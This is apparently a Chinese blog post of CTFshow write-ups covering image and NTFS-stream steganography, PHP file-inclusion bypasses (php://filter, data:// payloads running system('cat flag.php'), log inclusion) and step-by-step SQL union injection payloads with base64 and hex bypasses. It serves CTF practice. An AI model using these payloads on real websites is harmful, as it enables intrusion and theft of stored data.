0X00

CTFshow Misc部分 做题记录 1.杂项签到 目录 1.杂项签到 阅读详情

MISC

(stega2)

提示是一张flag.png文件,想想修改宽高,原00 00 01 A0改为00 00 03 A0

stega3

打开还是一张图片,winhex看一下也是不怎么有想法,

看看其他的师傅,NTFS隐写

360压缩可以无视NTFS隐写,下载360压缩

这个是第一次看到......

NTFS数据流

NTFS交换数据流(alternate data streams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,就是说除了主文件流之外还可以有许多非主文件流寄宿在主文件流中。它使用资源派生来维持与文件相关的信息。

 也就是主文件里面还有其他文件,有点像文件包含

 打开flag.txt

BJDCTFMISC签到

解压不了吗,winhex打开,png文件,改成后缀就可以了,改成png。

 web78

 文件包含的主要特征就是出现include,我们想用伪协议来读取文件,php://filter

?file=php://filter/read=convert.base64-encode/resource=flag.php

 读取到的内容base64解码

 web79

 <?php
 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

出现新的函数str_replace(),查了之后就是替换字符的意思

也就是它会把file中的php替换成???,中间的为最后的字符,所以这里就不能用file://php文件来读取了,我们用data来读取,换句话说也就是我们这里的php被过滤了。
?file=data://text/plain,<?pHp system('cat flag.php');?>
?file=data://text/plain,<?= system('cat flag.php');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

 第一个是运用大小写进行绕过的,第二个是用短标签进行绕过的,第三个是用base64编码进行绕过的。

查看源代码就可以看到了。

web80

题目这一次做了更多的限制,php和data协议都不可以用了

但是这一次还是正常的文件包含,

cc一下,以下是两种日志文件的路径

/var/log/nginx/access.log
/var/log/apache2/access.log

环境是nginx的,有一个nginx访问日志/var/log/nginx/access.log 

即

?file=/var/log/nginx/access.log

    访问之后有ip、时间、参数值、user-agent ,抓包     发现文件

                                    

 查看文件

 web171(万能密码)

sql注入,先要找到闭合方式

1和1"都是一样的,但是1'不一样,就可以判断是单引号闭合方式

 知道字段数是3

 后面的语句就都差不多了

看看回显,2显示

1' union select 1,2,3%23

 查库了

1' union select 1,database(),3%23

 爆出数据库

1'union select 1,group_concat(schema_name),3 from information_schema.schemata%23

查表

-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

 查字段

-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user'%23

 查内容

-1'union select 1,group_concat(username,password),3 from ctfshow_user%23

还有一种做法,就是万能密码

where username !='flag' and id = '' or 1=1 %23条件恒成立,select语句返回所有结果

前面的select语句就会显示结果了

-1' or 1%23

 ' or 1=1 %23

 -1' or 1=1 %23

web172(内容被过滤,base64编码)

 先看第一张表

但是没有内容,应该是最后的内容被过滤了

 编码绕过,还是第一次见

-1' union select 1,to_base64(password) from ctfshow_user2 where username="flag"%23

字段
1' order by 4%23    异常
1' order by 3%23    正常

数据库
1' union select 1,database(),3%23
1'union select 1,group_concat(schema_name),3 from information_schema.schemata%23

表名
-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23    #有两张表,第二张是这关的

字段
-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user'%23

数据
-1'union select 1,group_concat(username,password),3 from ctfshow_user2%23

base64编码

-1' union select 1,to_base64(password) from ctfshow_user2 where username="flag"%23

 这一题与前面那题差不多,就是最后内容被过滤了,需要进行一下绕过。

web173(内容被过滤,hex编码)

与上面的差不多就是换了一个函数,也是内容被过滤了

hex编码绕过

-1' union select 1,hex(password),3 from ctfshow_user3 where username="flag"%23

解码的时候也就要hex解码

Qt关于遇到0x00提前结束的问题 目录 Qt关于遇到0x00提前结束的问题 假如有如下一个文件,数据中包含大量的0x00 1、使用QFile读取文件 QFile firmwarefile(filePath); firmwarefile.open(QIODevice::ReadOnly); //方法1:全部读取 QByteArray ba = firmwarefile.readAll(); //正确 //方法2:读一行,指定长度 char buf[1024]; qint64 lineLength; lineLength = 阅读详情

相关推荐

CTF实验吧-上传绕过【0x00截断】

CTF实验吧-上传绕过【0x00截断】

qq_43679507的博客 884

CTFSHOW stega3 wp

下载下来是一个压缩包,360打开直接就有flag了(看别人的wp才发现是ntfs隐写,360压缩直接无视,妙啊) flag{ntfs_is_so_cool}

wu_zh1_hui的博客 576

QtNodeEditor实战:构建高效可视化编程环境的完整指南

本文是QtNodeEditor实战的完整指南,详细介绍了如何利用这一基于Qt框架的可视化编程工具构建高效节点编辑器。内容涵盖从快速集成、自定义节点模型到深入理解MVC数据流架构,并提供了样式定制、场景序列化、动态端口等高级功能的实现方法,帮助开发者快速搭建灵活、可维护的可视化编程环境。

lemon的博客 700

刷题之旅第36站,CTFshow stega1-stega4

感谢ctf show平台提供题目 1、stega1 使用jphswin工具,解密,密码为空。 记事本打开解出的文件,得到flag 2、stega2 使用010editor工具,修改图片宽高。 01 A0 改为 02 28 保存图片,得到flag。 3、stega3 直接使用360压缩,解压,打开flag.txt。 (360压缩可以无视NTFS隐写,骚操作get√) 4、stega4 打开...

cc菜的一批 3338

TI AWR1642实战指南:CCS调试mmWave Demo Visualizer全流程解析

本文详细解析了TI AWR1642开发板的CCS调试流程,重点介绍了mmWave Demo Visualizer的使用方法。从环境准备、版本确认到bin文件烧录、CCS工程配置,再到调试启动与结果验证,提供了全流程的实战指南,帮助开发者快速掌握AWR1642的调试技巧,避免常见错误。

weixin_30790841的博客 110

PlatformIO串口监视器波特率配置实战:从乱码到清晰输出的关键步骤

本文针对PlatformIO串口监视器常见的乱码问题,深入解析了其根源在于波特率不匹配。文章核心在于指导开发者通过修改项目根目录下的platformio.ini配置文件,正确设置monitor_speed参数,确保与代码中Serial.begin()的波特率一致,从而实现从乱码到清晰输出的关键步骤。此外,还介绍了其他实用的串口监控配置与常见避坑指南。

weixin_29183637的博客 388

CTF show STEGA系列

题目地址:https://ctf.show 一般我做图片隐写类的题目有以下几个步骤: 1.如果是在压缩包中的图片,首先查看压缩包的二进制,没有异常,解压压缩包。 2.查看图片的属性,是否有附加的信息。 3.尝试打开图片,不能打开可能文件头缺少或其他原因。能打开,查看图片二进制。 4.在二进制中查看是否有其他类型的文件头。有则分离出来。 4.放入stegsolve中查看是否是LSB隐写。 5.最后实...

羽的博客 5937

STM32 USART高级功能全解析:IrDA、DMA、硬件流控与低功耗唤醒

USART是嵌入式系统中最基础的串行通信外设,其核心原理在于同步/异步时序控制与数据帧收发机制。现代MCU如STM32通过深度集成IrDA调制解调、DMA直传通道、RS232/RS485硬件流控及Stop模式唤醒等扩展能力,显著提升通信可靠性、吞吐效率与能效比。其中,IrDA SIR采用RZI编码实现抗干扰红外传输,DMA通过TXE/RXNE事件驱动实现零CPU干预的连续数据流,而硬件流控(RTS/CTS/DE)和低功耗唤醒(WUF+UESM)则分别保障工业现场鲁棒性与电池级超长待机。本文围绕STM32平台

weixin_28922227的博客 210

ctf show-misc

使用明文攻击,文件里面有加密文件org.zip和一个非加密文件名msic8.zip相同,因为两个压缩包里面有相同文件,这里典型的明文攻击,拿到密码:56tygh,这么简单的密码直接爆破也行除了相同文件外还有一个二维码,利用CQR提取信息拿到flag:flag{ctf_show_ok}

2502_90869383的博客 260

MATLAB控制信号发生器(USB-GPIB-HS)GPIB仪器控制教程(含matlab代码)

自动化测试时需要自动产生信号,通过matlab控制信号发生器的频率与功率,以实现自动化信号生成输出

qq_43686057的博客 1606

SAP-MM-供应商对账平台(功能集合)

(1)集成OA审批,线上核销,结果写入SAP; (2)集成SRM,线上与供应商对账确认,写入SAP; (3)集成财务付款结果确认写入,OA回传结果,定时同步SRM供应商平台。 欢迎留言交流,功能完善,如需要页面设计,请订阅专栏

qq_32198063的博客 747

ORG 0x7C00

org 0x7c00是告诉编译器,这段代码是要加载到0x7c00处的。编译器在编译代码的时候如果涉及到变量寻址操作是会自动加上0x7c00这个基址的。 因为最终确定每条指令的地址其实是编译器做的事情,在链接的时候会自动的进行重定位和地址分配。这里不是说编译器加载代码到0x7C00,而是由BIOS来自动的将启动代码加载到0x7C00,但是我都到这里了,那么我每次寻址的话就得还加上这个基地址。

欢迎... 1636

【unity游戏开发入门到精通——UGUI】UI控件 —— Image图像控件

【unity游戏开发入门到精通——UGUI】UI控件 —— Image图像控件

向宇的博客,专注php/web全栈 unity游戏开发,欢迎大家评论纠错 2354

0x00和'0'

往往小问题才会折腾很久。 msmset((void*)virt,0x00,PAGE_SIZE)和msmset((void*)virt,‘0’,PAGE_SIZE)区别就在于0x00只是为了强调就是数字0,就是为了ASCII码转换的数字0!不是字符‘0’!如果手误将数字0写作字符‘0’,那就达不到用‘\0’清空字符串的目的了。所以最近在内核中分配页的时候总是判断最后一级页表项出错,原来是在allo

jaybroker的博客 4527

Oracle EBS 中美国销售税的实现方式

Oracle EBS通过eBTax引擎实现美国销售税管理,需配置税务管辖区、税率及规则等要素,基于收货地址和商品分类计税。系统支持免税交易和使用税处理,但因美国税率复杂多变,建议集成Vertex等第三方服务自动更新税率。关键配置包括创建USSales Tax制度、维护地点层级及物料税务分类,同时需管理客户免税证书。对于跨国业务,系统也支持欧盟VAT等其他国家税制配置。

金牌架构师 295

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

BIOS为什么将MBR加载到0x7C00?

在计算机组成原理中我们都了解过BIOS的存在,而BIOS的最后一项工作是校验启动盘当中位于0盘0道1扇区的内容。如果这一扇区最后末尾的两个字节分别为0x55和0xaa(他们被称为“魔数”),那么BIOS就认为此扇区中存在可以执行的程序,然后将其加载到物理地址0x7C00处并跳转到这里进行执行。而这里的程序,就是主引导记录MBR。存放它的这一扇区叫做主引导扇区。而主引导扇区是引导扇区的一类。fill:#333;stroke:1;fill:none;important;important;

2301_79155654的博客 739

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

Java 处理0x00特殊字符

Java 处理0x00特殊字符 一、0x00字符 1,0x00是ascii码的0值:NUL 2,0x00在windows系统中显示: 3,0x00在Linux中显示: ctrl+V ctrl+@可以打出此字符 二、Java解决0x00字符 str.replaceAll("\\u0000","") replaceAll:替换字符串所有匹配给定的正则表达式的子字符串...

weixin_30652491的博客 3103

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

USART串口发送0X00问题解决

今天在用USART发送数据时,我要发的数据如下,是一个数组    相应的发送程序如下这个时候发现一个问题0x00之后的数据都无法发送出去这是因为程序里面while检测到0X00时候就结束了,就是这一行while(*s)后改写如下 void UART2_SendString(uint8_t* s,unsigned char length){ while(length!=0) { while(USA...

9111

stm32 串口发数据 0x00 变 0x80

stm32 串口发数据 0x00 变 0x80 一般配置奇校验odd和偶校验even的时候,会出现这个问题,根本原因是stm32在计算长度的时候,会把校验位也计算进去,所以你之前设置的数据位8要改成数据位9才能正常运行。 USART_InitStructure.USART_WordLength = USART_WordLength_9b; USART_InitStructure.USART_Parity = USART_Parity_Even; ...

weixin_38537639的博客 2187

golang 替换string的0x00

记录下如何替换string 中的0x00,以下是实现 func OsIoutil(name string) string { if fileObj, err := os.Open(name); err == nil { //if fileObj,err := os.OpenFile(name,os.O_RDONLY,0644); err == nil { defer fileObj.Close() if contents, err := ioutil.ReadAll(fileObj); err

weixin_40455124的博客 1402

C# byte数组尾部0x00,去除方法

在网上找了半天C# byte数组尾部0x00,去除方法,没找到,自己写了一个,测试使用没问题,发了上来 public byte[] CutTail(byte[] byList) { int j = 0; byte[] tempb = null; for (int i = byList...

yuwen1658的专栏 2861

组报文时,在char数组中插入0x00的方法

组报文时,在char数组中插入0x00的方法

asdasfdgdhh的博客 3322

c语言0x00如何不截断_读取包含0x00个字符的网页时出现问题。响应内容被截断

Hello,I write a program wich download web pages. It works fine for most of web pages but i have found some pages where it doesn't work.These pages contains 0x00 characters.I'm able to read page conten...

weixin_39747087的博客 404

记一次字符数据处理时遇见的问题:16进制0x00翻译字符为‘\0‘

16进制0x00翻译字符为'\0'

goddpupil的博客 3115

0x00 -----0xFF

   0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,    0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,   

cay22的专栏 4万+

c语言0x00如何不截断,读取包含0x00个字符的网页时出现问题。响应内容被截断

Hello,I write a program wich download web pages. It works fine for most of web pages but i have found some pages where it doesn't work.These pages contains 0x00 characters.I'm able to read page conten...

weixin_39679061的博客 204
上一篇: ZTJL4
下一篇: 秋季期中考复现xj
芝诺的乌龟M
博客等级 码龄4年 81粉丝 57原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值